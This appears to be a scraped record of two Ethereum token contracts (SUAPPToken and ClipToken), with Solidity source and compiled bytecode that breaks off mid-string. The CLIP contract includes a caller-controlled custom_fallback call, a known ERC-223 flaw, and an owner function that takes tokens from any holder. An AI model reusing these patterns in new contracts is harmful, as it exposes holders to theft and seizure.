* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev saveAprrove to fix the approve race condition
* @param _spender The address which will spend the funds.
* @param _currentValue The actual amount of tokens that the _spender can spend.
* @param _value The amount of tokens to be spent.
*
* There is not a simple and most important, a backwards compatible way to fix the race condition issue on the approve function.
* There is a large and unfinished discussion on the community https://github.com/ethereum/EIPs/issues/738
* about this issue and the "best" aproach is add a safeApprove function to validate the amount/value
* and leave the approve function as is to complind the ERC-20 standard
*
*/
function safeApprove(address _spender, uint256 _currentValue, uint256 _value) public returns (bool success) {
if (allowed[msg.sender][_spender] == _currentValue) {
return approve(_spender, _value);
}
return false;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a ` ` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract SUAPPToken is StandardToken, Ownable, CanReclaimToken {
string public name = "SUAPP";
string public symbol = "SUP";
uint8 public decimals = 8;
uint256 public INITIAL_SUPPLY = 100 * (10**9) * 10**8;
/**
* @dev Initialize the contract with the INITIAL_SUPPLY value and it assigns the amount to the contract creator address
*
* Trigger an Transfer event on token creation
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
function SUAPPToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806317ffc320146101ac57806318160ddd146101cf57806323b872dd146101f65780632ff2e9dc14610220578063313ce56714610235578063661884631461026057806370a08231146102845780638da5cb5b146102a557806395d89b41146102d6578063a9059cbb146102eb578063d73dd6231461030f578063dd62ed3e14610333578063f2fde38b1461035a578063f65036621461037b575b600080fd5b3480156100f657600080fd5b506100ff6103a2565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610198600160a060020a0360043516602435610430565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101cd600160a060020a0360043516610496565b005b3480156101db57600080fd5b506101e4610564565b60408051918252519081900360200190f35b34801561020257600080fd5b50610198600160a060020a036004358116906024351660443561056a565b34801561022c57600080fd5b506101e46106e2565b34801561024157600080fd5b5061024a6106e8565b6040805160ff9092168252519081900360200190f35b34801561026c57600080fd5b50610198600160a060020a03600435166024356106f1565b34801561029057600080fd5b506101e4600160a060020a03600435166107e1565b3480156102b157600080fd5b506102ba6107fc565b60408051600160a060020a039092168252519081900360200190f35b3480156102e257600080fd5b506100ff61080b565b3480156102f757600080fd5b50610198600160a060020a0360043516602435610866565b34801561031b57600080fd5b50610198600160a060020a0360043516602435610947565b34801561033f57600080fd5b506101e4600160a060020a03600435811690602435166109e0565b34801561036657600080fd5b506101cd600160a060020a0360043516610a0b565b34801561038757600080fd5b50610198600160a060020a0360043516602435604435610aa0565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104285780601f106103fd57610100808354040283529160200191610428565b820191906000526020600020905b81548152906001019060200180831161040b57829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600354600090600160a060020a031633146104b057600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561051157600080fd5b505af1158015610525573d6000803e3d6000fd5b505050506040513d602081101561053b57600080fd5b505160035490915061056090600160a060020a0384811691168363ffffffff610ae616565b5050565b60015490565b6000600160a060020a038316151561058157600080fd5b600160a060020a0384166000908152602081905260409020548211156105a657600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156105d657600080fd5b600160a060020a0384166000908152602081905260409020546105ff908363ffffffff610b9b16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610634908363ffffffff610bad16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610676908363ffffffff610b9b16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060015b9392505050565b60075481565b60065460ff1681565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561074657336000908152600260209081526040808320600160a060020a038816845290915281205561077b565b610756818463ffffffff610b9b16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104285780601f106103fd57610100808354040283529160200191610428565b6000600160a060020a038316151561087d57600080fd5b3360009081526020819052604090205482111561089957600080fd5b336000908152602081905260409020546108b9908363ffffffff610b9b16565b3360009081526020819052604080822092909255600160a060020a038516815220546108eb908363ffffffff610bad16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205461097b908363ffffffff610bad16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610a2257600080fd5b600160a060020a0381161515610a3757600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000908152600260209081526040808320600160a060020a0387168452909152812054831415610adc57610ad58483610430565b90506106db565b5060009392505050565b82600160a060020a031663a9059cbb83836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610b6257600080fd5b505af1158015610b76573d6000803e3d6000fd5b505050506040513d6020811015610b8c57600080fd5b50511515610b9657fe5b505050565b600082821115610ba757fe5b50900390565b6000828201838110156106db57fe00a165627a7a72305820d28d64cf9a8f08925636341cf47bbc27f2c2755850eb58d468e19d421eef57280029
|
{"success": true, "error": null, "results": {}}
| 8,933 |
0xa4480957629da7986efe389ca2be86a9fab7481b
|
pragma solidity ^0.4.20;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
/**
* @title ContractReceiver
* @dev Receiver for ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
/** CLIPTOKEN
.--:///++++++++++///:--.
.-:/+++++++++++++++++++++++++++++/:.
-:++++++++++++++++++++++++++++++++++++++++/-.
.:/+++++++++++++++++++++++++++++++++++++++++++++++:.
.:++++++++++++++++++++++++++++++++++++++++++++++++++++++:.
-/++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-
-+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-
-+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-`
-/++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-`
/++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/. .--
-++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/. .-::::.
:+++++++++++++++++++++++++++++++//::-........--://++++++++++/. .-:::::::-
/++++++++++++++++++++++++++++/:.`` ``.:/++++/. `.-::::::::::-
/++++++++++++++++++++++++++/-. `-:. `.:::::::::::::::
/+++++++++++++++++++++++++/. `.::::::::::::::::::
:++++++++++++++++++++++++/. `.::::::::::::::::::::-
-++++++++++++++++++++++++- .:::::::::::::::::::::::-
+++++++++++++++++++++++/` -:::::::::::::::::::::::
:++++++++++++++++++++++/` .::::::::::::::::::::::-
++++++++++++++++++++++/` -::::::::::::::::::::::
-++++++++++++++++++++++. ..........................::::::::::::::::::::::-
/+++++++++++++++++++++: `:::::::::::::::::::::::::::::::::::::::::::::::::
++++++++++++++++++++++. `:::::::::::::::::::::::::::::::::::::::::::::::::
++++++++++++++++++++++` `:::::::::::::::::::::::::::::::::::::::::::::::::
++++++++++++++++++++++ `:::::::::::::::::::::::::::::::::::::::::::::::::
++++++++++++++++++++++` `:::::::::::::::::::::::::::::::::::::::::::::::::
++++++++++++++++++++++` `:::::::::::::::::::::::::::::::::::::::::::::::::
/+++++++++++++++++++++: `:::::::::::::::::::::::::::::::::::::::::::::::::
-++++++++++++++++++++++` `--------------------------:::::::::::::::::::::::
++++++++++++++++++++++/ .:::::::::::::::::::::::
:++++++++++++++++++++++: .:::::::::::::::::::::::
+++++++++++++++++++++++: .:::::::::::::::::::::::.
:++++++++++++++++++++++. .:::::::::::::::::::::::-
/++++++++++++++++++++- .::::::::::::::::::::::.
+++++++++++++++++++- .-::::::::::::::::::.
+++++++++++++++++: .. .-:::::::::::::::.
/++++++++++++++: .-//+:- .:/++/. .-::::::::::::.
/++++++++++++: .-/+++++++++//:-.. ..-://++++++++/. .-:::::::::
:++++++++++/` .:/+++++++++++++++++++++++++++++++++++++++++++/. .-:::::-
./++++++++//+++++++++++++++++++++++++++++++++++++++++++++++++/- .-::.
`:++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-` .`
./++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-`
./++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-`
`:++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++:
`-/++++++++++++++++++++++++++++++++++++++++++++++++++++++/-`
`-/++++++++++++++++++++++++++++++++++++++++++++++++/-.
`.:/+++++++++++++++++++++++++++++++++++++++++:-`
`.-:++++++++++++++++++++++++++++++++/:.`
``.-://++++++++++++++++//:--.`
``````````
:::::: :: `:: ::::: ,,,,,,, ,,,,,, ,, ,,, ,,,,,, ,,. ,,
:::,.,: :: `:: ::,::: ,,,,,,, ,,,,,,,,` ,, ,,, ,,,,,, ,,, ,,
,:: :: `:: :: :: ,, .,, ,,, ,, .,, ,, ,,,, ,,
::` :: `:: :: :: ,, ,,, ,,` ,, ,, ,, ,,,,, ,,
:: :: `:: :::::: ,, ,, ,,, ,,,,, ,,,,,, ,, ,,, ,,
:: :: `:: ::::: ,, ,, ,,, ,,`,, ,,,,,, ,, `,, ,,
::. :: `:: :: ,, ,,, ,, ,, ,,, ,, ,, ,,,,,
.:: :: `:: :: ,, ,,. ,,, ,, ,,, ,, ,, ,,,,
,:::::: :::::,`:: :: ,, .,,,,,,, ,, `,, ,,,,,, ,, ,,,
.::::: :::::,`:: :: ,, ,,,,, ,, ,,, ,,,,,, ,, ,,
*/
contract CLIP is ERC223, Ownable {
using SafeMath for uint256;
string public name = "ClipToken";
string public symbol = "CLIP";
uint8 public decimals = 8;
uint256 public totalSupply = 333e8 * 1e8;
uint256 public distributeAmount = 0;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
function CLIP() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf[msg.sender] < _value) revert();
balanceOf[msg.sender] = SafeMath.sub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.add(balanceOf[_to], _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf[msg.sender] < _value) revert();
balanceOf[msg.sender] = SafeMath.sub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.add(balanceOf[_to], _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf[msg.sender] < _value) revert();
balanceOf[msg.sender] = SafeMath.sub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.add(balanceOf[_to], _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = SafeMath.sub(balanceOf[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balanceOf[addresses[i]] = balanceOf[addresses[i]].add(amount);
Transfer(msg.sender, addresses[i], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeToken(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint i = 0; i < addresses.length; i++){
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = amounts[i].mul(1e8);
totalAmount = totalAmount.add(amounts[i]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (i = 0; i < addresses.length; i++) {
balanceOf[addresses[i]] = balanceOf[addresses[i]].add(amounts[i]);
Transfer(msg.sender, addresses[i], amounts[i]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balanceOf[addresses[i]] >= amounts[i]);
balanceOf[addresses[i]] = SafeMath.sub(balanceOf[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balanceOf[msg.sender] = SafeMath.add(balanceOf[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = SafeMath.sub(balanceOf[owner], distributeAmount);
balanceOf[msg.sender] = SafeMath.add(balanceOf[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev token fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x6060604052600436106101035763ffffffff60e060020a60003504166306fdde03811461010d57806318160ddd14610197578063313ce567146101bc5780634f25eced146101e557806364ddc605146101f8578063659de63b1461028757806370a082311461032a5780638da5cb5b14610349578063945946251461037857806395d89b41146103c95780639dc29fac146103dc578063a8f11eb914610103578063a9059cbb146103fe578063b414d4b614610420578063be45fd621461043f578063c341b9f6146104a4578063cbbe974b146104f7578063d39b1d4814610516578063f0dc41711461052c578063f2fde38b146105bb578063f6368f8a146105da575b61010b610681565b005b341561011857600080fd5b6101206107e9565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015c578082015183820152602001610144565b50505050905090810190601f1680156101895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a257600080fd5b6101aa610891565b60405190815260200160405180910390f35b34156101c757600080fd5b6101cf610897565b60405160ff909116815260200160405180910390f35b34156101f057600080fd5b6101aa6108a0565b341561020357600080fd5b61010b6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506108a695505050505050565b341561029257600080fd5b610316600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610a0095505050505050565b604051901515815260200160405180910390f35b341561033557600080fd5b6101aa600160a060020a0360043516610d2f565b341561035457600080fd5b61035c610d4a565b604051600160a060020a03909116815260200160405180910390f35b341561038357600080fd5b61031660046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610d5992505050565b34156103d457600080fd5b610120610f6a565b34156103e757600080fd5b61010b600160a060020a0360043516602435610fdd565b341561040957600080fd5b610316600160a060020a03600435166024356110b9565b341561042b57600080fd5b610316600160a060020a0360043516611194565b341561044a57600080fd5b61031660048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506111a995505050505050565b34156104af57600080fd5b61010b600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050505091351515915061127b9050565b341561050257600080fd5b6101aa600160a060020a036004351661137d565b341561052157600080fd5b61010b60043561138f565b341561053757600080fd5b6103166004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506113af95505050505050565b34156105c657600080fd5b61010b600160a060020a0360043516611696565b34156105e557600080fd5b61031660048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061173195505050505050565b60006006541180156106af5750600654600154600160a060020a031660009081526007602052604090205410155b80156106d45750600160a060020a03331660009081526008602052604090205460ff16155b80156106f75750600160a060020a03331660009081526009602052604090205442115b151561070257600080fd5b600034111561073f57600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561073f57600080fd5b600154600160a060020a03166000908152600760205260409020546006546107679190611a7d565b600154600160a060020a0390811660009081526007602052604080822093909355339091168152205460065461079d9190611a8f565b600160a060020a0333811660008181526007602052604090819020939093556001546006549193921691600080516020611eb283398151915291905190815260200160405180910390a3565b6107f1611e9f565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108875780601f1061085c57610100808354040283529160200191610887565b820191906000526020600020905b81548152906001019060200180831161086a57829003601f168201915b5050505050905090565b60055490565b60045460ff1690565b60065481565b60015460009033600160a060020a039081169116146108c457600080fd5b600083511180156108d6575081518351145b15156108e157600080fd5b5060005b82518110156109fb578181815181106108fa57fe5b906020019060200201516009600085848151811061091457fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541061094257600080fd5b81818151811061094e57fe5b906020019060200201516009600085848151811061096857fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205582818151811061099857fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c15778383815181106109d857fe5b9060200190602002015160405190815260200160405180910390a26001016108e5565b505050565b6000806000808551118015610a16575083518551145b8015610a3b5750600160a060020a03331660009081526008602052604090205460ff16155b8015610a5e5750600160a060020a03331660009081526009602052604090205442115b1515610a6957600080fd5b5060009050805b8451811015610bbb576000848281518110610a8757fe5b90602001906020020151118015610abb5750848181518110610aa557fe5b90602001906020020151600160a060020a031615155b8015610afb575060086000868381518110610ad257fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015610b40575060096000868381518110610b1257fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610b4b57600080fd5b610b756305f5e100858381518110610b5f57fe5b906020019060200201519063ffffffff611a9e16565b848281518110610b8157fe5b60209081029091010152610bb1848281518110610b9a57fe5b90602001906020020151839063ffffffff611a8f16565b9150600101610a70565b600